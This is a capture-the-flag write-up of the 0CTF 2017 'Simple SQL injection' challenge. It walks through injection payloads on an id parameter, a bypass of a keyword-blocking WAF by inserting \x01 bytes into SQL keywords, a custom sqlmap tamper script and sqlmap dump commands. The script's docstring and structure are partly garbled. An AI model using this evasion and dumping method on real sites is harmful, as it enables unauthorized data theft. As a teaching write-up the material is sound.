OCTF-2017 : Simple SQL injection

This is a Chinese Capture The Flag hosted by Team 0ops. It lasts 48 hours and it started on 18th March at 00:00 GMT and ended on 20th.

This challenge consists of exploiting and SQL injection with some tricky things. Let's take a look at it.


So, we have a URL with an IP address. Browsing to the targeted server we got the initial webpage, which is just a list of options which give us some information about the challenge.

Main Page

At this point we can assume that the flag is in the database and there is some kind of Web Application Firewall (WAF) protecting the web site to prevent some attacks. Finally, the third article says something we already know, the challenge consists of performing an SQL injection attack.

First Steps

To start being familiar with the application and the current WAF configuation, we can start clicking on each view article option and see what type of requests are sent to the server. In this case, every article is referenced with a GET parameter called id.

Article's detail by ID

Since there is no other parameter, we can assume that id is vulnerable. Let's try some basic injections to validate our hypothesis. We are going to use some simple conditional payloads, starting by a correct condition - which return True, expecting the server to return the proper content.

Payload: id=1+and+1=1

As expected, we have the same message like before. This test is not enough, maybe the application only gets the first number and removes all the rest. So we try again with a different conditional payload which will return False, and we expect to get nothing, because no new will be found.

Payload: id=1+and+1=2

Confirmed, we have an SQL injection injection in the id parameter. And the injections seems to be standard, with a sentence similar to:


Right now, we still don't know the name of any table or the columns being selected in the query. What we do know is the usage of our supplied payload within the sentence. Let's try to exploit it!

┬┐Quick Win?

Now that we know the vulnerable parameter, we can begin. We can do a manual approach to investigate in-depth the injection and get the flag, but the time in the competition is limited, so we are going to use the black-magic's software, SQLMap, to do the job for us and see how far it goes. Also it seems an easy sentence to inject into, so it should be quick.

This is what we get executing the application with some default options:

SQLMap first execution

Well, it seems that something happened and the process just fails, but we still have some useful information.

  • Database backend is MySQL 5.7.17-0ubuntu0.16.04.1
  • Current user: news@localhost
  • Database: news
  • We are not DBA
For some reason, we do not have information related to the schema, we do not have table information. Why? Because probably the WAF is doing its job. If we reexecute the SQLMap in debugging mode we can see the actual sentences being sent and how the server responds.

Looking as such output (sorry I have no screenshot), we can see the server responding with HTTP code 403 Forbiden and the following content:

Your request is blocked by waf
Definitely we have to manually analyze the WAF and see if it's possible to bypass it.

WAF analysis

Let's start with some basic payloads and see what happens. Again, we are going to try to get aritcle's detail based on an id value processed in database, so we are going to put more complex expressions as payload for the id parameter to understand which kind of filters is applying.

  • Payload: id=(1+1) As a response, we expect the database to resolve the expresion and select the article with id=2.
    • Response: 200 OK with the expected content.

  • Payload: id=(select+1) Like before, we expect the database to process the select sentence and return the article with id=1.
    • Response: 403 Forbiden and the annoying WAF message.

It seems that the WAF is detecting the select keyword. After doing some testing we can conclude that WAF detects select in every part of the query string, without any kind of contextual analysis. See the following examples:

Select Payloads

Select as parameter's name Select in SQL sentence
Random select

Now we can imagine how the WAF is working, we can even guess how the source code would look like. According to our tests, it seems to be something similar to the following snippet.

def waf(query_string):

  for keyword in KEYWORDS:
    if keyword in query_string.upper():
      return 403,"Your request is blocked by waf"

  return 200,process(query_string)

To evade such check we need to break the keywords in a some way or do some kind of encoding to prevent the detection. We can try using comments or random bytes as well. Here there are some examples:

Breaking Select

Using Comments Change Upper/Lower
Random byte: \x01 Random byte: \x02

Our results shows us the following, they include more tests than the above examples:

  • Using Comments provoke some kind of internal error and we don't get anything
  • Change Upper/Lower is properly detected by the WAF
  • Encoding it is properly detected by the WAF
  • Double-Encoding it is properly detected by the WAF
  • Other Encodings it is properly detected by the WAF
  • Random Bytes seems to work properly, we can use this one!
The random byte injection within the keyword is working properly, so we get the details of the article with id=1. Let's get the flag using this method.

Getting the FLAG!

Once we know how to bypass the WAF and do arbitrary SQL sentences, we can start getting the desired information from the database. Again, we are going to use SQLMap logic to get the flag.

SQLMap has so called tamper scripts, which are able to manipulate the generated sentences. We are going to make our own script to bypass the WAF of this challenge. To achieve that, we can just copy an existing tamper plugin from the original SQLMap package and modify it to inject a byte in each keyword. For example, we can use the between.py script.

We are going to modify it to add the desired character between the sentences. Once we open the script it's easy to understand how it works. Since we are going a simple replace operation for some keywords, we can use the following code:

#!/usr/bin/env python

Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission

import re

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHEST

def dependencies():

def tamper(payload, **kwargs):
    Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #'
    Replaces equals operator ('=') with 'BETWEEN # AND #'

    Tested against:
        * Microsoft SQL Server 2005
        * MySQL 4, 5.0 and 5.5
        * Oracle 10g
        * PostgreSQL 8.3, 8.4, 9.0

        * Useful to bypass weak and bespoke web application firewalls that
          filter the greater than character
        * The BETWEEN clause is SQL standard. Hence, this tamper script
          should work against all (?) databases

    >>> tamper('1 AND A > B--')
    >>> tamper('1 AND A = B--')

    retVal = payload

    if payload:
        retVal = retVal.replace("SELECT","SE\x01LECT")
        retVal = retVal.replace("WHERE","WH\x01ERE")
        retVal = retVal.replace("FROM","FR\x01OM")

    return retVal

Let's write this file to:

( pwd )/wafBypass.py
Now we are ready to execute the SQLMap with our new tamper script. First of all we have to allow python to load the current script, to do it we have to create a the init file in the script directory:

$ touch ( pwd )/__init__.py
Finally, we can just execute SQLMap with the tamper param and the script script path. The following command has some other options as well, like hexadecimal encoding, threading, and more options added during testing. But the key is the tamper script:

$ sqlmap -u '' --dbms mysql -p id  --threads 10 --risk 3  --dump --hex  --level 5--tamper $( pwd )/wafBypass.py -D news
First of all, SQLMap tries to get the schema of the database news - we focus the attack to the current database with the -D news option -, then, it starts dumping everything. This is the output of such command:


According to the results, the current database has two tables: news and flag. So, we stop the execution - this is why there is an user aborted message - and we start again the dump process focusing on the flag table.

To do it, we paramatetrize SQLMap as follows:

$ sqlmap -u '' --dbms mysql -p id  --threads 10 --risk 3  --dump --hex  --level 5 --tamper $( pwd )/wafBypass.py -D news -T flag
When we execute the command, we finally get the flag.


And that's it! Our desired string: